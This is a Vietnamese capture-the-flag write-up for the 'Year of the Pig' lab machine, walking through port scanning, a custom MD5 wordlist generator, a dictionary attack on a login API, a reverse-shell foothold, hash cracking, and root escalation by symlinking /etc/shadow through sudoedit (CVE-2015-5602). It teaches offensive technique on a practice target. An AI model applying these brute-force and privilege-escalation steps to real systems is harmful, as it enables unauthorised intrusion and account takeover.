Year of the Pig
Some pigs do fly...
Initial Reconnaissance
Trước hết, chúng ta thêm domain vào file /etc/hosts để định nghĩa tên miền:
10.10.139.77 pig.thmService Scanning
┌──(hungnt㉿kali)-[~]
└─$ rustscan -a pig.thm -r 1-65535 -- -A
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 61 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack ttl 61 Apache httpd 2.4.29 ((Ubuntu))
|_http-favicon: Unknown favicon MD5: 9899F13BCC614EE8275B88FFDC0D04DB
|_http-title: Marco's Blog
|_http-server-header: Apache/2.4.29 (Ubuntu)
| http-methods:
|_ Supported Methods: GET POST OPTIONS HEAD
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
...Như vậy ta chỉ phát hiện được 2 dịch vụ chính: SSH và HTTP, với thông tin phiên bản cho biết hệ điều hành là Ubuntu.
HTTP 80
Front Page

Khi truy cập, ta thấy đây là một blog cá nhân của Marco, chủ yếu nói về máy bay. Nếu có khu vực quản trị, username khả dĩ nhất sẽ là marco, hoặc admin, root.
Directory Enumeration
Để tìm thêm, ta thực hiện directory scan bằng ffuf:
┌──(hungnt㉿kali)-[~]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://pig.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 100
Kết quả phát hiện một số thư mục quan trọng, trong đó có /admin, /api và /login.php.
/api

Ở /api, server chỉ chấp nhận POST request, có thể tính năng này đang được sử dụng ở nơi khác.
/login.php
Còn /admin redirect sang /login.php, hiển thị form login yêu cầu chúng ta nhập username và password.

Ta thử đăng nhập với một số default credentials như marco:password, marco:marco, marco:Password, hoặc admin:admin nhưng đều thất bại.


Khi chặn request bằng Burp Suite, ta nhận thấy password không gửi dạng plain-text mà được hash bằng MD5 ngay trên trình duyệt. Điều này được xác nhận trong source code của trang login.

Tiếp theo, ta thử kiểm tra SQL Injection bằng cách nhập payload thông thường và cả time-based payload, nhưng không có kết quả.


Đây có thể không phải hướng đúng.
Cùng nhìn lại thông báo lỗi khi nhập sai, ta thấy hệ thống gợi ý rằng password có dạng một từ dễ nhớ, theo sau là 2 số và một ký tự đặc biệt. Điều này cho thấy dictionary attack là khả thi.

Trước hết, chúng ta lọc ra tất cả các mật khẩu trong rockyou.txt theo mẫu đã mô tả, rồi áp dụng hàm băm MD5 cho từng mật khẩu. Kết quả là có khoảng hơn 21 nghìn mật khẩu được trích xuất, mỗi mật khẩu đã được chuyển thành MD5 hash và lưu trong file passwords_md5.txt.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ grep -E '^[A-Za-z]+[0-9]{2}[^A-Za-z0-9]$' /usr/share/wordlists/rockyou.txt > passwords.txt
┌──(hungnt㉿kali)-[~/Desktop]
└─$ wc -l passwords.txt
21937 passwords.txt
┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 10 passwords.txt
hannie55?
AZUL05+
sweet16!
cool12!
asssucker10-
mikh11!
dodgers94.
sweet16.
sup23@
sausage06*
┌──(hungnt㉿kali)-[~/Desktop]
└─$ while read -r line; do
echo -n "$line" | md5sum | awk '{print $1}'
done < passwords.txt > passwords_md5.txt
┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 10 passwords_md5.txt
de5838c9be309d350bcb5f9836b0356a
a8df2453f9539e42dd587a61a951bfae
1b55da0ab6119fb99e582756e67642a0
e176fa3fb47bedb7226460266e6853c9
735586ba652f8efd1c814390e8b59a10
2e2e2b16768f165795ed8e4119c60276
4ea713da71ca607603953e2cce045341
9a454b328a119ed2eadf1bb2811f2b11
433ce7d545e758d68865511835a155fb
9f825a175656c5499ae12d47212fd8b1Dictionary Attack
Sau đó, chúng ta thử dùng Hydra để brute force với username marco và wordlist passwords_md5.txt.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ hydra -l marco -P passwords_md5.txt pig.thm http-post-form '/api/login:{"username"\:"^USER^","password"\:"^PASS^"}:Incorrect' -V
Tuy nhiên, Hydra trả về rất nhiều false positive.

Khi kiểm tra lại bằng Wireshark, thay vì nhận được thông báo Incorrect Username or Password, server lại trả về Bad Connection. Đây có thể là do User-Agent mặc định của Hydra khiến server phản hồi khác đi.

Vì Hydra không cho phép chỉnh sửa header, chúng ta chuyển sang dùng ffuf để tấn công. Công cụ này linh hoạt hơn, cho phép tùy chỉnh User-Agent và Content-Type.

Chúng ta nhận được phản hồi có size là 63 cho các credentials sai. Ta cần xác nhận server trả về phản hồi mong đợi là Incorrect Username or Password.


Server đã phản hồi đúng nhưng mong đợi. Chúng ta sẽ chạy lại ffuf nhưng lần này loại trừ những response có size là 63:
┌──(hungnt㉿kali)-[~/Desktop]
└─$ ffuf -w passwords_md5.txt -X POST -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" -H "Content-Type: text/plain;charset=UTF-8" -d '{"username":"marco","password":"FUZZ"}' -u http://pig.thm/api/login -t 64 -fs 63
Tuy nhiên, khi chạy tấn công thực sự với ffuf và loại trừ response có size 63, chúng ta không thu được bất kỳ kết quả hợp lệ nào.
Custom Wordlist
Vì đây là một blog cá nhân, nên chủ blog có thể đã để lộ một phần mật khẩu ngay trên website. Do đó, chúng ta sẽ dùng cewl để crawl toàn bộ trang nhằm thu thập một danh sách từ, từ đó tạo ra wordlist phục vụ cho dictionary attack.
Chúng ta bắt đầu từ trang chính, đặt độ sâu là 5 và xuất kết quả ra file words.txt.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ cewl -d 5 http://pig.thm -w words.txt
CeWL 6.2.1 (More Fixes) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
┌──(hungnt㉿kali)-[~/Desktop]
└─$ wc -l words.txt
167 words.txt
┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 20 words.txt
the
and
but
About
planes
now
time
know
there
Planes
years
all
was
Marco
flying
for
Italian
like
behind
agoKết quả thu được là 167 từ. Lúc này chúng ta có thể nhờ ChatGPT viết một script Python để tạo một wordlist hoàn chỉnh dựa trên mô tả mật khẩu. Với mỗi từ trong words.txt, chúng ta tạo ra 3 biến thể gồm viết thường, viết hoa toàn bộ và viết hoa chữ cái đầu, sau đó thêm 2 chữ số và một ký tự đặc biệt. Cuối cùng, script sẽ xuất ra các hash MD5 vào một file.
#!/usr/bin/env python3
import sys
import hashlib
# Define which special characters to use
SPECIALS = "!@#$%^&*"
def base_variants(word: str):
"""Return the 3 base variants of a word."""
word = word.strip()
if not word:
return []
return [word.lower(), word.upper(), word.capitalize()]
def generate(word: str):
"""Generate word[0-9][0-9][special] variants for each base form."""
for variant in base_variants(word):
for d in range(100): # 00 to 99
for ch in SPECIALS:
pwd = f"{variant}{d:02d}{ch}"
yield pwd
def md5_hash(text: str) -> str:
"""Return the MD5 hash of the text."""
return hashlib.md5(text.encode()).hexdigest()
def main(input_file, output_file):
# "w" mode ensures the file is overwritten each run
with open(input_file, "r", encoding="utf-8", errors="ignore") as infile, \
open(output_file, "w", encoding="utf-8") as outfile:
for line in infile:
word = line.strip()
for pwd in generate(word):
outfile.write(md5_hash(pwd) + "\n")
if __name__ == "__main__":
if len(sys.argv) != 3:
print(f"Usage: {sys.argv[0]} <input_wordlist> <output_file>")
sys.exit(1)
main(sys.argv[1], sys.argv[2])Chúng ta lưu đoạn code này với tên gen.py.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ py gen.py words.txt passwords.txt
┌──(hungnt㉿kali)-[~/Desktop]
└─$ wc -l passwords.txt
400800 passwords.txt
┌──(hungnt㉿kali)-[~/Desktop]
└─$ head -n 20 passwords.txt
c6147f769ab7c56f89c2f08dc168ee18
d5db5a2cb62b89b2bba66dfd5951c56a
44743742c135fa7c4bf1f5b08c325d11
ef77b29744eecd64c30f9a70f9f6e3ef
96ee22559234b5b977d7c3104359b6f1
7f21d5653a8d4e99303689ffada67219
0a04f1f70a1292839340e88313ef38ee
dad79978d9574b27973dc505801f391d
dd36594a77b75b7d71e030848490905a
1ebda87b5f6ea690d7576a7418ba378e
d06b66dc64f845ee9e5c1cc2c906969b
ca10cfcd98a7333e8c1b8f644f21ad39
14742cf984eb364b3c83d94274aebe8d
d1c48dc536d90775dc504c4dfe339665
6cb1e50aa088be3531a651b3244076bd
16bc325e67fea04eeed3e143b085fec3
c2209d0ef8c54993ebdc5bc8c2962744
08cab14daaa6e9342461d0f99ae529a6
531b5ac5dd56c4f2b6d2cb4a68d55824
2d504c1042335e8584ed13369728b8e9Sau khi đã tạo wordlist, chúng ta tiếp tục thực hiện một dictionary attack:
ffuf -w passwords.txt -X POST -H "User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0" -H "Content-Type: text/plain;charset=UTF-8" -d '{"username":"marco","password":"FUZZ"}' -u http://pig.thm/api/login -t 100 -fs 63
Lần này chúng ta thấy có 3 hash với kích thước response khác 63.

Để lấy lại mật khẩu gốc, chúng ta chỉ cần chỉnh sửa script một chút để output ra plain-text thay vì MD5 hash, rồi đối chiếu dòng trùng khớp với hash hợp lệ.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ cat passwords.txt | grep ea22b622ba9b3c41b22785dcb40211ac -n
72169:ea22b622ba9b3c41b22785dcb40211ac
Kết quả, chúng ta xác định được mật khẩu của marco là savoia21!. Chúng ta đăng nhập với thông tin này.

Không có gì đáng chú ý hơn ngoài trang web cho phép thực thi command trên hệ thống.

Tuy nhiên, sau vài lần thử, chúng ta nhận ra rằng mình không thể thực thi command tùy ý vì có hạn chế. Vậy tại sao không SSH trực tiếp vào máy với user marco thay vì dựa vào web shell?
Shell as marco

flag1.txt
marco@year-of-the-pig:~$ cd ~
marco@year-of-the-pig:~$ ls -la
total 24
drwxr-xr-x 2 marco marco 4096 Aug 22 2020 .
drwxr-xr-x 4 root root 4096 Aug 16 2020 ..
lrwxrwxrwx 1 root root 9 Aug 16 2020 .bash_history -> /dev/null
-rw-r--r-- 1 marco marco 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 marco marco 3771 Apr 4 2018 .bashrc
-r-------- 1 marco marco 38 Aug 22 2020 flag1.txt
-rw-r--r-- 1 marco marco 807 Apr 4 2018 .profile
marco@year-of-the-pig:~$ cat flag1.txt
THM{MDg0MGVjYzFjY2ZkZGMzMWY1NGZiNjhl}Sudo Permissions

User này không có quyền chạy sudo trên target.
web-developers Group
Chúng ta nhận thấy rằng user marco thuộc nhóm web-developers. Vì vậy, chắc chắn user này có liên quan đến thư mục /var/www.



Trong thư mục /var/www/html thì không có gì đặc biệt, ngoại trừ file admin.db nằm ở /var/www, nhưng file này chỉ có thể đọc bởi user www-data.

Do không thể thực thi command tùy ý trên web, chúng ta kiểm tra source code của /var/www/html/admin/commands.php.

Ở đây ta thấy nó chỉ cho phép chạy một số command nhất định chứ không hề thực thi tùy ý.
Thay vì chỉnh sửa trực tiếp code, chúng ta upload một PHP reverse shell payload để tạo kết nối reverse shell dưới quyền user www-data. Khi đó, chúng ta có thể đọc được file admin.db.

Shell as www-data

Password Discovery
Bây giờ chúng ta đã truy cập được file admin.db.

May mắn là trên target đã có sẵn sqlite3, nên không cần phải tải file này về máy để phân tích. Trước tiên, chúng ta cần ổn định shell để có thể tương tác tốt hơn với sqlite3.
www-data@year-of-the-pig:/var/www$ python3 -c 'import pty; pty.spawn("/bin/bash")'
<ww$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@year-of-the-pig:/var/www$ sqlite3 admin.db
sqlite3 admin.db
SQLite version 3.22.0 2018-01-22 18:45:57
Enter ".help" for usage hints.
sqlite> .tables
.tables
sessions users
sqlite> .schema users
.schema users
CREATE TABLE users (
userID TEXT UNIQUE PRIMARY KEY,
username TEXT UNIQUE,
password TEXT);
sqlite> select * from users;
select * from users;
58a2f366b1fd51e127a47da03afc9995|marco|ea22b622ba9b3c41b22785dcb40211ac
f64ccfff6f64d57b121a85f9385cf256|curtis|a80bfe309ecaafcea1ea6cb3677971f2Sau khi truy vấn cơ sở dữ liệu, chúng ta phát hiện một password hash khác của user curtis. Hash này có thể crack dễ dàng bằng CrackStation.

Kết quả, chúng ta có được mật khẩu của curtis: Donald1983$.
Shell as curtis
Chúng ta chuyển sang user curtis để tiếp tục quá trình enumerate.
flag2.txt
marco@year-of-the-pig:/var/www/html/admin$ su curtis
Password:
curtis@year-of-the-pig:/var/www/html/admin$ cd ~
curtis@year-of-the-pig:~$ ls -la
total 28
drwxr-xr-x 3 curtis curtis 4096 Sep 3 09:59 .
drwxr-xr-x 4 root root 4096 Aug 16 2020 ..
lrwxrwxrwx 1 root root 9 Aug 16 2020 .bash_history -> /dev/null
-rw-r--r-- 1 curtis curtis 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 curtis curtis 3771 Apr 4 2018 .bashrc
-r-------- 1 curtis curtis 38 Aug 22 2020 flag2.txt
drwx------ 3 curtis curtis 4096 Sep 3 09:59 .gnupg
-rw-r--r-- 1 curtis curtis 807 Apr 4 2018 .profile
curtis@year-of-the-pig:~$ cat flag2.txt
THM{Y2Q2N2M1NzNmYTQzYTI4ODliYzkzMmZh}Sudo Permissions

Với sudo -l, ta thấy rằng curtis được phép chạy sudoedit trên file /var/www/html/*/*/config.php.
Thực chất sudoedit chỉ là một chế độ trong sudo cho phép chỉnh sửa file một cách an toàn thay mặt user root. Tuy nhiên, vì có ký tự wildcard nên khả năng cao là sẽ có gì đó đặc biệt ở đây liên quan đến việc leo quyền.
Sau khi tìm kiếm trên Google về các kỹ thuật leo quyền liên quan đến sudoedit, chúng ta biết rằng phiên bản sudo này dính lỗ hổng CVE-2015-5602.

Nói ngắn gọn, file chỉ định sau sudoedit có thể được tạo thành một symbolic link trỏ tới các file quan trọng trong hệ thống như /etc/passwd hoặc /etc/shadow. Do đó, chỉnh sửa những file này với quyền root sẽ dẫn đến việc chiếm tài khoản và leo quyền.
Nhưng vì user curtis không nằm trong nhóm web-developers, nên chúng ta không có quyền ghi trong /var/www/html. Do đó, ta chuyển lại sang marco để tạo một symbolic link trỏ tới /etc/shadow.

curtis@year-of-the-pig:~$ exit
exit
marco@year-of-the-pig:~$ cd /var/www/html
marco@year-of-the-pig:/var/www/html$ cd assets/img/
marco@year-of-the-pig:/var/www/html/assets/img$ ln -s /etc/shadow ./config.php
marco@year-of-the-pig:/var/www/html/assets/img$ ls -la
total 188
drwxrwxr-x 2 www-data web-developers 4096 Sep 3 10:42 .
drwxrwxr-x 4 www-data web-developers 4096 Aug 20 2020 ..
-rw-r--r-- 1 root root 156 May 15 2020 arrow.png
lrwxrwxrwx 1 marco marco 11 Sep 3 10:42 config.php -> /etc/shadow
-rwxrwxr-x 1 www-data web-developers 106905 Aug 17 2020 favicon.ico
-rwxrwxr-x 1 www-data web-developers 66886 Aug 16 2020 plane.pngTiếp theo, ta quay lại curtis và dùng sudoedit trên file config.php mà ta vừa tạo trong thư mục /var/www/html/assets/img/.

Thật lạ đúng không? Hệ thống báo rằng user curtis không được phép, trong khi sudo -l lại nói ngược lại.
Điều này xảy ra vì đây là sudoedit, hơi khác một chút so với các lệnh sudo thông thường. Thực ra sudoedit chỉ là một mode trong sudo, và nó chỉ là một liên kết (link) đến binary gốc của sudo. Nếu chúng ta thêm sudo ở đầu, nghĩa là ta đã gọi sudo hai lần, dẫn đến lỗi.
curtis@year-of-the-pig:/var/www/html/assets/img$ /usr/bin/sudoedit /var/www/html/assets/img/config.phpKhi chạy đúng cách, giờ ta đã có thể chỉnh sửa được file /etc/shadow.

Chúng ta thay đổi mật khẩu của root thành “password” với salt “1337” bằng cách tạo hash thông qua openssl.
┌──(hungnt㉿kali)-[~/Desktop]
└─$ openssl passwd -6 -salt 1337 password
$6$1337$w9cUtLoSVMBl27Kk/NGCP0ucMv4aKOlwGhDH/AvXhLityyxdqJ863tqopSAYwGvs0.ySgy8MzOjGJV3MtXM7a1
Shell as root
Sau khi lưu lại file, chúng ta SSH vào máy với user root bằng mật khẩu vừa đặt.

root.txt
root@year-of-the-pig:~# ls -la
total 36
drwx------ 5 root root 4096 Aug 22 2020 .
drwxr-xr-x 22 root root 4096 Aug 16 2020 ..
lrwxrwxrwx 1 root root 9 Aug 16 2020 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc
drwx------ 2 root root 4096 Aug 16 2020 .cache
drwx------ 3 root root 4096 Aug 16 2020 .gnupg
drwxr-xr-x 3 root root 4096 Aug 21 2020 .local
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
-r-------- 1 root root 38 Aug 22 2020 root.txt
-rw-r--r-- 1 root root 42 Aug 16 2020 .vimrc
root@year-of-the-pig:~# cat root.txt
THM{MjcxNmVmYjNhYzdkZDc0M2RkNTZhNDA0}